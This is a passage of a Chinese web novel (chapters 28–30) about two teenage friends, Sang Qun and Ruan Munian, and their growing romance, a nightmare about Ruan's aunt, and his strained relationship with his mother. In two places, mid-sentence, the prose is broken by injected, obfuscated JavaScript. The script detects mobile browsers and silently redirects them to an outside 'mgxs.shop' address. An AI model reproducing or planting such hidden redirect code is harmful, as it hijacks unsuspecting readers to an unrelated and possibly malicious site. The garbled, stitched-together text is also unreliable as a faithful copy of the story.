”桑群对内也不嘴软,“保险箱都防不住的馋鬼。” “我没有……” “不是很爱吃饭吗?” 阮牧年没说话了。 刚刚哭的时候太可怜,桑群怕多说一句就把哭包戳漏气了,现在倒是可以开始兴师问罪了。 “我,我不是故意要瞒你,”阮牧年低声说,“我不该对你撒谎,我、我……” 在主动认错了,态度还行,桑群点头:“继续。” 阮牧年嘟囔了一句什么,明明就趴在耳边,却还是听不清。 这家伙说什么呢? 桑群:“你说什么?” 阮牧年却晃了晃他:“走过了,公交站在那边。” 坐什么公交啊,松手半秒就没安全感的家伙,真以为自己变勇敢了吗? 桑群在他大腿内侧轻轻掐了一把,目不斜视地继续往前走:“就这样回去,你可以慢慢陈罪。” 背上的人忽然夹紧腿,猛地颤抖了一下,桑群被迫止住脚步,脖子差点被勒断。 “呃。” 阮牧年似乎意识到自己干了什么,连忙松了手劲。 突如其来的窒息感还残留在喉间,桑群不敢动了,站在原地问背上的祖宗:“……怎么了?” 不至于吧,掐他那把的力度都捏不碎蛋壳,也能把人弄痛? 阮牧年的声音消失了好一会儿,才闷在他肩上的衣服里响起。 “大腿是很敏感的部位啊,”阮牧年委屈道,“你怎么可以乱摸……” 桑群:“?” “我脖子也很敏感,”他倍感无语,“你还不是说勒就勒?” “不一样的,”阮牧年小声向他解释,“痛和痒是不一样的……” 桑群没说话。 心里隐隐有种预感,或许只要有心探究就能明白那是什么,可他莫名不愿意去究明根由,对可能发生的变化抱有不安。 即便如此,现实生活中的异样从未消失。 曾经他们可以毫无芥蒂地开黄色玩笑,在浴室里面坦诚相待,对彼此从不设防。 现在却…… 阮牧年叭叭了半天,却不见对方有反应,于是又伸手指戳了戳底下人的胸口。 桑群猛地一颤,刷地站直了。 “嗷!” 阮牧年差点被他甩下去,慌乱间抓住对方的肩膀,悬空的背部僵硬发麻。 “你干嘛?”他惊魂未定,原本低落的情绪都短暂消散了,声音颤抖着,“我、我要掉下来了……” 桑群回过神来,抓着腿把人重新背好:“……刚走神了,被你吓一跳。” “桑桑,”阮牧年贴着他问,“你不会胸口敏感吧……” “放屁。”桑群矢口否认。 “不礼貌,”阮牧年又问,“背我让你感到压力了吗?” “没,”桑群说,“背你跑个马拉松不是问题。” “真的?” “……但会累。” “哦哦,”阮牧年小心地晃起腿,“这样会不稳吗?” “不会,”桑群顿了顿,问,“心情变好了?” 都能在他背上晃着腿了。 “嗯,”阮牧年的声音听起来没有那么低落了,“被你一打岔,确实好了不少。” 把他当乐子解闷是吧,挺好,省的哄了。 “哦,”桑群点点头,“那可以慢慢交代一下为什么骗人了。” 阮牧年嗫嚅了一下:“呃……我、我可以在你背上睡觉嘛?” 他迅速把脸埋进桑群的颈窝,蹭了蹭:“嗯……有点困困……” 桑群在心里叹了口气,死到临头了还想着逃避。 行,逃吧。 看他能逃到哪里去。 “睡吧,”桑群慢慢往前走,步子很稳,“回到家就不准睡了。” 阮牧年:“……” 28. 28 被桑群这么一说,阮牧年原本有些不敢睡。 可不知为什么,微微摇晃的肩膀,缓慢深长的呼吸,烈阳下喧嚣暂歇的街道,就这样趴了一会儿,困意自然而然地涌上。 阮牧年眯了眯眼,又眨了眨眼皮,真的有点困了,桑群的背是摇篮桥。 眼前是光照有些晃眼的午后街景,眼皮不知什么时候闭上了,肉红色的皮肤包裹视网膜,慢慢变得黑暗幽远。 他好像做了一个梦。 应该是梦。 因为眼前出现了一扇门,很老旧的木板门,窗格蒙着半透明的膜,有些泛黄。 门紧紧锁着,门外有动静。 他记得这扇门,那是他住在舅妈家时的房门——准确来说是杂物间的门,他住在杂物间。 有些熟悉的情景,他似乎能预料到外面在发生什么,轻轻掀开窗纸的一角。 狭窄的视野里,他看见了对立而站的舅妈和……妈妈。 舅妈是个举止浮夸的女人,大嗓门,正手舞足蹈地向妈妈说着什么。 妈妈背对着他,西装,短发,十年如一日的打扮,看不见表情,也不怎么出声。 她们在说什么? 像是回应他的疑问,迷蒙的环境被凿开一个洞口,声音如流水般涌出。 “我跟你说呀,你家牧年就是死脑筋,”是舅妈的声音,尖利带着不舒服,“他那个成绩,保送二中不是问题。哎呦!偏偏要去报那个什么,什么五中还是六中,你说这个孩子……” 好耳熟的对话,似乎就埋藏在记忆深处,如今被粗鲁地拔出,呈露在他眼前。 是……他小升初发生的那件事吗? 妈妈的声音很冷静:“他为什么不想去二中?” “还能为什么?二中收学费呀!要钱呀!”舅妈拍着手说,“我看他啊,就是被他那个同学给骗了!就想着去什么面试成绩前几名免学费的初中,我那天都看到了,他不仅自己要去参加面试,还做小抄要帮他那个同学作弊呢!” 什么。 阮牧年拼命摇头,手指推着窗格,想要站出去解释。 不、不是这样的。 可木板门纹丝不动。 妈妈问:“什么同学?” “就那个什么,桑什么……就家里破产那个!哎呦小小年纪,脸看着可凶了,”那道刻薄的声音这样说道,“你是不知道,你家牧年啊天天偷家里的东西,什么水果啊零食啊还有他自己那点压岁钱,都拿去救济他那个同学呢!要不是我管着你给的生活费,他恐怕都给出去了!” 不是这样的,不是的。 妈妈给的生活费,明明都花在了表哥念的补习班上。 桑群不肯收他的钱。他只好收集了一周的塑料瓶子拿去卖钱,桑群才收下的。 他的压岁钱,除了偷偷藏进团团肚子里的那点,明明都被舅妈拿起来了。 “那他现在通过面试考试了吗?” “没,我知道以后,替你把这小子关起来,没让他去参加那什么考试,”舅妈得意的声音响起,“这傻孩子不知道二中有多好,多少孩子挤破脑袋都进不去呢!反正就是呢,牧年以后要是念了二中,他那生活费肯定要涨一涨了,二中学费多贵呀!你说是不?” 不要答应她,不要…… “嗯……如果教育资源好的话,学费贵点没关系……” “哎呀,我就知道姐你明事理!我呢帮你照顾着牧年,你就放一百个心!等他上了二中,也能跟他那破同学分开,省的再坑咱家的钱。瞧瞧,牧年多好一孩子,被那坏学生一带,都会帮人作弊了!” 没有! 他没有! 阮牧年使劲拍着木板门,用力撕开窗纸,可他的力气忽然变得很小很小,什么动静都发不出来。 他张开嘴大喊,努力地喊,喊得声带发疼。 桑群不是坏孩子,他也不是。 明明是舅妈要他帮表弟作弊,他没答应,舅妈就骂他白眼狼。 他们明明没有做坏事! 大人为什么总要撒谎?为什么?! 放我出去,快放我出去…… 手好疼,拍得掌心发麻。可他没有引起任何人的注意。 仿佛那些歇斯底里的呐喊,自始至终只发生在他小小的世界里,回荡在这逼仄的杂物间。 好重……身体好重…… 他努力靠近窗纸缝里漏出的光线,整个人却被什么东西拖着往下。 就好像沉入海里。 ……海? 是了,他感受到了,脚趾间的黏腻,迈不开的腿,沉重的手臂和逐渐困难的呼吸。 看不见摸不着的海水一点点漫上,他的反抗徒劳无功。一片寂静的杂物间,只有黑暗见证他被淹没的全过程。 救命……谁能把门打开……拜托了…… 门外的声音逐渐遥远,大人们的寒暄进入尾声,他的学业前程就这样被下了定局。 拍打渐渐弱化成挠抓,他的力气越来越小,连方寸大的窗纸都要掀不起来了。 不知什么时候,窗外的景象发生了变化。舅妈家的家具摆件不见了,取而代之的是一片模糊的深色背景。 视野中心站着一个人,背对着他,单薄的肩膀披着宽大的校服外套,一缕光落在他的侧脸。 看清他的瞬间,阮牧年又生出了一股力量,缓慢又拼命地撞到门板上。 桑群! 救救我! 桑群慢慢转身,那双黑沉的眼眸看过来,却没有跟他的目光对上。 然后那个冷淡的少年启唇,仿佛在跟另一个存在于虚空中的人对话。 “你要去二中,是么,”十二岁的桑群已经没有多少鲜活的表情,闻言连声调都没什么变化,只是点了点头,“我知道了。” 别走! 桑群,求你别走! 我在这里啊,我被关在门里了,你快帮我开开门啊! 没有人能听见他的声音。 桑群再次转身,背影高瘦削薄,就这样一步步消失在深色背景里。 我不想考二中的,我不是故意不去参加考试的…… 求求你,桑群,别走…… 求求你回过头…… 年年一直在你身后啊…… 门外一片死寂,仿佛剧目落幕,再没了光影和声响。 他彻底绝望,四肢像被海水灌满般发肿下沉,黑暗中他无法确定自己已经落地还是仍在沉没。 呼吸在慢慢丧失,却远没有窒息的感觉。 就这样……结束了吗? 可是没有,他还能感觉到自己的意识,还能感觉到无处不在的、黏稠得令人恶心的海水。 他仿佛被困在了溺亡的前一秒,求生不得,求死不能。 不知过了多久,视野里出现了另一样东西。 那是一套崭新的校服,二中初中部,还有一块印着他名字的校徽、一条红领巾。 他的意识已经有些混沌,求生的本能让他伸手去抓一切可以看到的事物。 哗啦。 几乎是在触碰到校服的瞬间,困住他许久的海水尽数退去,堵塞的耳膜终于畅通。 他好像明白了。 他穿上那套校服,戴好校徽,系好红领巾。 他看清了周围的景象,还是那个小小的杂物间。 然后他伸手去推门,没推动。 于是他抬起头,窗纸不是玻璃,他却能看见自己的表情,他看见自己提起面部肌肉,露出一个春风和煦的微笑。 下一秒,门开了。 门外是正在吃早饭的舅妈一家,他笑着跟他们打招呼,接受他们递给他的有些半焦的早点。 他看着舅妈熟悉的面孔,笑着说。 舅妈,我讨厌你。 这句话没有发出声音。 于是他又换了一句:“舅妈,我先去学校了。” 又有声音了。 他好像明白了。 新学校门口,他遇见了穿着同款校服的桑群,低着头站在校门口边的大树下,单肩提着书包。 他想走过去,脚步迈不开。 桑群! 你怎么来了? 还是没声音。 有人朝他走来,不记得是谁了,但他们好像都认识他。 “嗨,牧年。” “牧年,原来你也在这所学校啊?太幸运了吧!” “牧年牧年,我们是同班同学诶!” 好烦。 好讨厌。 能不能走开,能不能不要靠近我。 他想去跟桑群打招呼,他想去问他是怎么考进来的,他想短暂地卸下伪装,他想…… 他不能想。 因为越来越多的人围了过来,他再也看不清桑群的身影,无法判断对方走了没。 脚步还是迈不开,强行移动就会有恶心的海水从脚底漫上来。 他的手指冰凉,脸上却绽开一个阳光灿烂的笑容。 “早上好啊,”他站在人群之中,站在万众目光之下,笑得唇角生疼,“我是阮牧年。” 我是阮牧年。 我会是……你们眼中所期待的阮牧年。 他终于明白了。 …… 再次睁开眼时,面前是昏黄的灯光,看不出时间。 阮牧年眨了眨眼,梦的余韵仍留在意识表面,让他有些许不舒服。 好像做梦了,可能是个不太愉快的梦。 反正也不记得了,就这样遗忘吧。 他动了下脑袋,发现有点不对劲。 家里有这样的枕头吗?触感有点…… 一只手从半空横过来,在他侧脸挠了挠,拨开睡得凌乱的发丝。 “醒了?” 桑群的嗓音从上空响起。 阮牧年愣了愣:“我怎么……躺在你腿上?” 桑群低头捏起他的下巴,重重揉了一下。 “说睡就睡,到家了也醒不来,”他的声音冷冽带着不耐烦,却一如既往地令人安心,“嘴里不知道念叨什么,放沙发上就不动了,也不让抱。” “噢,”阮牧年揉了揉脑袋,在他腿上翻了个身,朝着桑群的肚子,“我可能……做噩梦了吧。醒来就不记得了,不好意思,辛苦你了。” 抱不到床上睡,桑群只能坐在这里充当他的枕头,好可怜。 桑群挠了挠他的鼻子,问:“怎么这点路也能做梦?” “唔,痒,”阮牧年皱了皱鼻子,桑群动作太轻,弄得他痒痒的,“不知道啊,我都不记得内容了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356306|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 桑群拍了拍他的肩:“该起床了。” “桑桑,”阮牧年就这样往他肚子的方向蹭,伸出胳膊,“抱……” 桑群整个人都僵住了,按住他的脸不让他动,后仰着脑袋吸了口气,咬牙挤出一句。 “嘶,”他的声音愠怒里带着颤抖,“你压到我了。” 阮牧年呆了一下,连忙坐起来,红着脸道歉:“对、对不起,我忘记我躺在你腿上了呜……” “你没事吧,”他担忧地低下头,伸手想帮忙——不知道帮什么,但总要表示表示,“要不要紧啊……” 桑群感觉自己青筋都要暴起了,怎么还带围观的,他羞愤地闭上眼:“怎么,废了你赔?” 阮牧年:“我可以帮你联系医院……” “有病,”桑群缓过劲,低声骂了一句,拍了拍旁边,“坐好,别再乱动了。” 阮牧年乖乖坐好。 “说说看吧,”桑群把某人攥了一路的发带丢到茶几上,抬了抬下巴,“篮球赛训练,嗯?” 阮牧年直冒冷汗:“啊哈哈,这个……就是临时去吃了个饭……” “哦,”桑群点了点头,“挺临时的,连你妈那种大忙人都能请出来。不错,继续。” “桑桑,”阮牧年侧身抱住他的胳膊,可怜巴巴道,“不要再拷问我了……” 撒娇管用吗? 啧。 偶尔。 桑群勉为其难允许偶然性事件发生一次,缓下语气:“我不问,那你自己说。” 阮牧年揪着他手肘处的衣服纠结。 “说不出口?”桑群说,“那我继续问了……” “说、我说!”阮牧年连忙叫停他,可不敢跟桑群对答,一不小心就全踩进坑里,他宁愿自首,“妈妈约我吃饭但我没有告诉你,因为、因为……” 桑群静候他下文。 “因为,”阮牧年低声说,“我就是不想告诉你。” 桑群:“?这是什么理由。” “我不想告诉你,”阮牧年继续说,“连我想一想都能知道她为什么要找我聊聊,你猜不到吗?桑群,你刚刚还在上面留了那么久,是不是跟他们说了什么?” 怎么成自己被拷问了,桑群纳闷:“没说什么。” “我已经在道歉了,你不能对我撒谎。” “……真没说什么,”桑群道,“顶了两句嘴,帮你拒绝了他们,没了。” 阮牧年安静下来。 怎么交代到一半没声儿了,桑群动了动胳膊:“嗯?” “……谢谢,”阮牧年贴着他的肩膀,轻声说,“我不想跟你分开。” 桑群嗯了一声,摸了摸他柔软的头发。 “我好不容易从舅妈家搬出来,每天还要上学,只有这么点自由,”阮牧年说,“我不想跟你分开。桑群,你明白吗?从妈妈再婚那一刻起,她的家对于我而言,跟继续住在亲戚家里没有两样……” 桑群没出声打断他,只是沉默地摸着他的头。 “所以我不想跟她见面,她是行动力很强的人,决定了什么很难改变,”阮牧年接着说,“我不想跟她吵架,因为我……也跟她一样执着,所以场面会变得很糟糕,我不想看到。” “你当初让我去,我承认,那个时候我是有点侥幸心理的,”阮牧年捏起桑群的手指,道,“说实话,第一次我其实偷偷拒绝了她。可她后面还是要约我,从那时开始我就对她有点失望……” 桑群点头,手指转了一下,让他玩得更舒服。 “但我对她还抱有期待,你也看得出来,如果我告诉了你,”阮牧年说,“你会难过的,我也会难过。是我擅自要你出来陪我,却可能把你一个人丢在这里,我不想你难过……” 桑群抓了抓他的手指,轻叹:“小麻花。” “很别扭吧,”阮牧年低低道,“可我就是这样的。” 这世上太多事都是错综复杂的,应该做的和想要做的,爱着的人和爱他的人,没有人能够完美地平衡这一切。 期待已久的亲情,守望多年的母爱,终于跨越十多年的岁月来到他眼前。 可他再也不是当初那个一无所有,只会等在原地眼巴巴眺望的流浪小年糕了。 身不由己的感觉他再明白不过。被动地接受安排,肩负所有人的目光,在阳光下如完美雕塑般行走。 是拥抱母亲递来的邀请函,从此继续他乖巧懂事的苦行,还是残忍地割断维系他至如今的童年的期盼? 他不想做这道选择题,正如桑群所说,他只会逃避。 可最终……还是下定决心了呀。 再难过,再舍不得,面对母亲陌生又凌厉的话语,他只能感受到指尖不断发青变冷的麻木。 直到。 那些罔顾所有的电话与讯息,那行行躺在聊天框里的焦急,以及桑群说的那句话。 你不要什么事都一个人扛着。 原来、原来他早就不是一个人走在阳光下,原来树荫下一直有人等在那里,等他耐不住炎热,等他终于精疲力尽,然后拍了拍身边的空地,招呼他过来坐下。 他从未如此清晰地感受到这一事实。 所以,他给出了答案。 想要做的事情。 和爱他的人。 29. 29 窝在沙发上说话,阮牧年慢慢交代了心路过程,抱着桑群的胳膊不肯松开。 只是他擅自调了最低音量,讲着讲着居然直接静音,桑群反复确认自己没有开勿扰模式。 怎么还说睡着了,路上没睡够吗。 肩上沉甸甸的,温热的呼吸就扑在颈侧,他们手指交缠,体温早已趋于一致。 微微低头,就能触到阮牧年柔软的发顶,带着一丝微凉,以及一股淡淡的洗发水香味。 居然洗头了吗。 好神奇,自己洗的?还能吹成这么个人样,手艺见长啊。 这样想着,他又往下低了低头,想凑近点闻。 这个角度,比鼻尖更先触到发丝的是嘴唇。 桑群忽然顿住,本就散乱的脑子变得一团糟。 他在干什么? 检查洗发水是否合格?可他自己也用这款,为什么要去闻阮牧年的味道? 还是…… 桑群抿了抿唇,下意识吞咽了一下。 手指被人捏了捏,他惊了一下,以为阮牧年要醒来。 结果身上的人低低呢喃了一句什么,在他肩上无意识地蹭了蹭,然后脑袋就掉了下来。 桑群连忙把身子滑下去,堪堪用胸部肌肉接住这颗脑袋。 阮牧年的唇角半压在他身上。 从他的角度,最多看见阮牧年凸起的一小片鼻尖,在昏黄的灯光下显得莹白可爱。 桑群克制着呼吸的起伏,怕吵醒他,可胸腔里有一种更加响亮的动静,他怎么也掩藏不住。 是他的心跳声。 顺着胸骨传导至耳蜗,声势浩大。 桑群垂着目光,纠结了好久,终于敢悄悄支起脑袋,在他发顶轻轻吻了一下。 不知道自己在干嘛。 懒得找理由了。 这样的阮牧年,就应该在睡前得到一个吻。 有什么东西即将从心房破茧而出,桑群的预感愈发强烈,便愈发不愿多想。 事已至此,先睡觉吧。 看年年的样子,估计为今天焦虑好久了,可能昨晚就没睡好。 桑群僵着左肩膀,右手在沙发上翻翻扯扯,终于拉出半条还算完整的毯子,胡乱盖到两个人身上。 陪他睡一会儿吧。 明明没什么困意,意识却被眼下的氛围晕染出朦胧的光晕。 看不真切的场景里,他瘫坐在地面上,周围空空如也。 有什么人走了过来,脚步不紧不慢,他抬起头,看见穿着校服的阮牧年背着书包,向他一步步走来。 阮牧年在他面前站定,脸上没什么表情,居高临下的目光有些陌生。 随即他笑了笑,单膝跪下,俯身过来。 这是要干什么? 脸被人捧住,阮牧年闭上眼,离他越来越近—— 桑群猛地惊醒,身体条件反射地往前挺了一下。 等他做完这个应激动作,才意识到不妙。 挂在胸口摇摇欲坠的脑袋终于失去支撑,啪叽摔到他大腿上。 甚至还弹了一下。 众所周知,脑袋再奇形怪状也是个球体,运气不好时,接触面积几近以球体半径围成的圆…… 桑群向来波澜不惊的脸扭曲起来,立刻拎着后领把某个灾星丢到旁边去。 “嗷!” 阮牧年揉着脑袋坐起来,半眯着眼:“怎么了啊……” 桑群拿过抱枕护在身下,眉头紧皱,仰头靠在沙发背上,第一次觉得一辈子如此漫长。 阮牧年看了看他奇怪的姿势,刚睡醒的脑子还有些茫然。 他刚刚好像靠着桑群睡着了。 怎么醒来会磕到头呢?再看桑群的样子…… 一个可怕的猜测浮现在脑海里,阮牧年顿时慌张起来,跪在沙发上想凑近他又不敢凑近。 “桑、桑桑,”他瘪着嘴,双手伸在半空不知道该干嘛,“我、我不会又压到你了吧……” 桑群深深地吸了一口气,疲惫道:“你、离我远点。” 要说第一次只是蹭到,这次是真砸疼了……桑群现在还没缓过劲来。 “对、对不起,对不起呜呜,”阮牧年欲哭无泪,“我还是联系医院吧。你还好吗?能站起来吗?” 桑群不想跟他说话:“……滚。” “桑桑你别这样,”阮牧年拉着他的衣袖,都快哭出来了,“我下次再也不乱躺了……你别担心,万一你有什么好歹,我会照顾你一辈子的呜……” 桑群叹了口气,他担心的是这个吗? 在沙发上弥留了一会儿,桑群起身,还抱着枕头,对阮牧年偏了偏头:“起开,我去换条裤子。” 阮牧年连忙撤到一边:“快去吧。” 看样子还能站立,也能走路,阮牧年担忧地看着桑群远去的背影,咬了咬下唇。 可千万不要出事,阮牧年在心里祈祷,不然他真成罪人了。 走进卧室,桑群第一次给房间上了锁。 换条裤子而已,又不是没见过,回房间换就算了,怎么还锁上了? 桑群看着门锁犹豫了两秒,最终还是没有打开。 他不得不承认,他与阮牧年之间似乎出现了某种隔阂。 还是他单方面产生的。 ……真烦。 把裤子丢到床上,桑群倍感倒霉,只穿了这一次带纽扣的牛仔裤,就被砸了,什么运气? 换条运动裤吧,宽松点的。 外面传来拍门声:“桑群?你还好吗?” 桑群暂时不想看到他。 在床边坐下,他后知后觉回想起了那个梦,梦的内容意义不明,但看着也不像是噩梦。 怎么会被吓醒? 阮牧年贴近他,是要做什么? 桑群静静沉思,下意识抬起手指,抵到了唇边。 是要…… “桑群!” 外面的人还在拍门,似乎有些着急。 ……烦死了。 桑群刷地把门打开:“干什……” 阮牧年没收住力道的手掌啪地拍到他胸口上。 桑群猝不及防接了他这道降龙十八掌,被震得后退两步。 他半天没回过神:“……我靠。” 阮牧年也愣了愣,下意识要上前看看他的情况:“你……” “停!”桑群忍无可忍指着他,警告道,“别靠近我。后退。” 阮牧年站在原地委屈地双手交叠:“桑群你听我说,我不是故意的……” 桑群微笑:“晚了。” 真是犯太岁,今天是不是不适合出门?他感觉现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356307|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱掉衣服,都能看到胸口红色的掌印。 阮牧年应该去少林寺进修,妥妥的武学奇才。 “我、我给你做好吃的赔罪,”阮牧年绞尽脑汁想着怎么弥补,“我陪你一起写国庆作业,你有什么想干的事情我也一块陪你,你不要生气……” 桑群扶着额头摆手:“你先离我远点。” 阮牧年:“嘤。” 给桑母打了个电话交代晚上留在这边,桑群在小椅子上坐下——他现在不敢坐沙发了——等着阮牧年端出来的大餐。 “你晚上不回家,”阮牧年从厨房出来问,“阿姨没关系的吗?她的腿……” “没事,隔壁病房送了她一个拐,这两天玩得正开心呢,”桑群摇摇头,“现在让人不放心的不是她。” 阮牧年在他对面坐下,心虚地给他夹菜:“你吃,多吃点。” 没过多久,桑群的饭碗里凸起了配菜金字塔。 桑群看了自己的碗半天:“……终于决定对我的胃下手了吗,大厨。” 阮牧年飞快从他碗里夹了块肉出来,尽量让金字塔看起来像椭圆顶:“好了,你……多吃点。” 桑群盯着他看。 阮牧年被看得不自在:“怎么了嘛?” “没什么。” 桑群垂下眼,沉默扒饭。 这副心虚讨好人的样子……啧。 他不是很想说,但那的确是事实,就算他否认也存在的事实。 真可爱啊。 心里痒痒的。 吃完饭,桑群拒绝了阮牧年发来的洗澡邀请,让他自己看着办。 阮牧年失落地走进了浴室,桑群抱臂靠在卧室门边,看着某人光滑的脚踝钻进门缝里,然后合上了门。 桑群眯起眼。 好可爱。 等桑群也洗完澡出来,一眼就看见穿着鹅黄睡衣的阮牧年盘腿坐在沙发上,手里拿着一只苹果。 自从在桑母那边夸下了每日吃水果的海口,阮牧年没事就会买一两个回来吃。 张开嘴咬下一口,嚼呀嚼,一侧脸颊鼓起来,甚至还眯了眯眼。 怎么这么可…… “是嘛,”阮牧年笑了笑,说,“谢谢你,抒晴。” 桑群一愣。 他这才注意到,阮牧年另一只手里拿着电话,正在跟别人讲着什么。 ……跟暧昧对象聊天呢? 看他下午的样子,还以为得失落上好几天,没想到晚上就有心情跟别人打电话。 哈。 桑群磨了磨牙。 阮牧年注意到他的目光,歪了歪脑袋表示疑惑。 桑群别过眼,假装去阳台洗衣服。 偷偷往客厅挪了一步。 到底在聊什么呢? “……对,没错,我们想到一起去了……” “……哈哈,好啊,下次请你喝奶茶……” “……嗯嗯,OK,七号下午是吧?我有时间……” 什么。 不仅心有灵犀,还定好了约会时间和内容? 桑群狠狠搓了一下手里的衣服。 客厅里的通话还在继续,看起来聊得很开心,某人笑了不止一次。 桑群看了看旁边,有阮牧年换下的脏衣服,拿过来,浸泡,狼狼搓了一下。 30. 30 客厅内外的悲欢并不相通,阮牧年咬着苹果,电话那头是女孩爽朗的笑声。 “总之,话我带到了,地点是学校新教学楼顶层,别走错了。” “好,”阮牧年点头,“正好上完课就可以去晚自习了。” “唉,也不知道张老师怎么想的,”程抒晴说,“不过,国庆作业你做完了吧?” “嗯……”阮牧年迟疑了一下,“还有一半。” “不应该啊,以你的速度,三天了还没写完吗?” 以他的速度,一天就能写完。可问题是从放假到现在他一直处于焦虑状态,哪儿有心思写作业。 其实一个字都没动,但之前在学校用眼睛做了一半,姑且算是写了吧。 “哈哈我跟家人出门玩了两天,”阮牧年敷衍过去,“明天会写的。怎么了,有哪道题不会?” “很遗憾,我都会哦,”程抒晴说,“不过我在卷子里看到一道眼熟的题目,我感觉这次竞赛可能会考……” 跟对方讨论了一会儿竞赛考题方向,那边有人喊了程抒晴一声,电话就先挂断了。 阮牧年扔掉变黄的苹果核,往阳台看了一眼。 没人。 奇怪,刚刚桑群不是去洗衣服了吗?什么时候离开的? 阮牧年光着脚下了沙发,跑去卧室一看,人在床边坐着呢。 “桑桑,”他扒着门框甜甜叫道,“吃水果。” 桑群头也不抬:“你自己吃。” “说好一起补充营养的呢,”这人背对着他干什么,阮牧年走过去,“我都给你洗好了……” 看清桑群手里的东西,阮牧年愣了一下。 “我的衣服……什么时候破了个洞?”阮牧年震惊。 桑群轻咳:“……老鼠咬的。” 阮牧年依然瞪着眼睛:“什么?” 桑群找补:“……毛线松了。” 阮牧年欲言又止:“你……” 桑群负隅顽抗:“不是我干的。” 阮牧年:“……” 就是你干的吧! “为什么?”阮牧年受伤地问,“你还在为下午的事生气吗?桑桑,我真的很对不……唔。” “没,”桑群赶紧捏住他的嘴,“不准道歉。” 阮牧年:“唔唔。” 桑群看着他,平时嘴不大,现在捏起来倒是挺有趣的,扁嘟嘟的,有点可爱。 不对。 哪里可爱了,明明前不久还在气人。 桑群顿时收回手,继续刚才的工作。 指尖缠着线尾熟练地打了个结,剪断多余的线,又打了个结,准备从另一处下针。 阮牧年没再深究,乖乖在他旁边坐下。 很久没见桑群做这种手艺活,动作还是一如既往的好看娴熟,对方的手指劲瘦修长,挑线翻飞间十分灵活。 他正出神看着,而桑群能感受到身边的目光,手指有些僵硬。 出针,叠缝,旁边人存在感很强,思绪不禁随之纷乱,看也没看就一针下去。 阮牧年眼疾手快地抓住他的手腕:“怎么还往手指上扎?” 桑群定睛一看,针尖跟他的手指擦肩而过。 “……缝快了,”他轻轻挣掉阮牧年的手,继续缝,动作慢了不少,“你……该干嘛干嘛去,别老在旁边盯着。” “我想看你干活。” “有什么好看的。” “好看的呀,”阮牧年冲他笑了笑,嗓音很软,“桑桑一直都很好看。” ……马屁精。 桑群:“呵。” 虽然语气不算太好,但至少没有继续赶人了。 阮牧年接着心安理得地观看。 期间跑出去了一趟,回来手里拿着一只削过皮的苹果。 他捏着苹果两头,抵到桑群唇边:“啊——” 桑群目光没移,顺着感觉咬了下去。 上唇接触到什么温热的东西,他正在想那是什么,就听阮牧年啊了一声。 他换了只手拿苹果,指尖在唇边擦了擦:“咬到我手了,湿湿的。” 桑群动作一僵,看他若无其事地舔了舔嘴唇,把苹果重新递过来:“再吃一口?” 上唇忽然变得滚烫,像混着麻椒的热油,而引起一切的是面前这只毒苹果。 递出苹果的邪恶男巫还笑眯眯地看着他,歪着脑袋施展诱惑魔法:“桑桑?” 这一次,他无需反复确认,就听清了胸腔里那嘈乱的如擂心跳。 少年灵动的眉眼在室灯映照下额外显得温润,时至如今,他的睫毛依然细密纤长,光投下的阴影却遮不去他眼底的流光。 这样的少年,他从4岁看到17岁,那么熟悉,那么靠近,本该习以为常,却次次在对方身上感受到更多悸动。 桑群动了动唇,嗓音有些泛哑:“你……” 阮牧年浑然不觉,只道:“啊,我洗手了,两只手都洗了,你看——” 张开的手指缝里还残留着水迹,他把手掌凑到桑群面前,笑着说:“真的洗了哦,你不要嫌弃。” 桑群抿了抿唇,轻轻按下他的手腕:“知道。我……待会儿自己吃,你去把苹果切片了,放碗里,加盐,包保鲜膜。” “不用这么麻烦呀,”阮牧年没动,“我喂你吃。” “……不要,”桑群别过脸去,藏在鬓发下的右耳有些烫,“你在这影响我。” 阮牧年不理解:“我很安分啊,怎么就影响你了。” 桑群的语气不容置疑:“去。” “啊啊,知道了……” 没听见脚步声,桑群忍了一会儿,还是把手头的活计暂时搁下,起身出门看了一眼。 “阮牧年,”桑群皱着眉,“穿鞋。” “啊,”阮牧年正把啃了一口的苹果往神器上按,闻言不自在地蜷了蜷脚趾,“呃,呃,我马上就去穿……” ……真让人操心。 桑群脸上蹙着眉,身体却自觉走到沙发前拎起那双天蓝色拖鞋,拿到阮牧年跟前。 在对方有些讶异的眼神中,桑群单膝跪下,伸出右手去扶起他皙白的脚腕。 “抬脚。”桑群说。 裸露在空气中的皮肤微凉,被桑群温热的指尖触碰,居然会泛起类似静电的短暂酥麻感。 桑群垂下眼,前不久盯过的脚踝就在手中,触感光滑细腻,跟他想的一点不差。 阮牧年有点不好意思。毕竟今天害桑群倒霉了好几次,对方却既给他缝衣服,又给他穿鞋,让他十分过意不去。 “嗷我自己来……” 桑群却抓着他的脚,强硬地塞进拖鞋里。 “自己穿的话,不留神就甩掉了,”桑群拿起另一只鞋,继续帮他穿,“这样能不能让你记得……下地要穿鞋?” 被桑群套上的拖鞋,仿佛有了一股神奇的力量,将他铐在来自对方源源不断的宠溺里。 阮牧年怔神,苹果已经一分六瓣,他后觉出声:“啊,哦……哦。” 桑群站起身来:“别切了,我自己弄。你这几天没怎么休息,去床上睡吧,被单已经铺好了。” “诶,那衣服……” “光线不好,看得眼睛疼,”桑群说,“明天再说了。”< 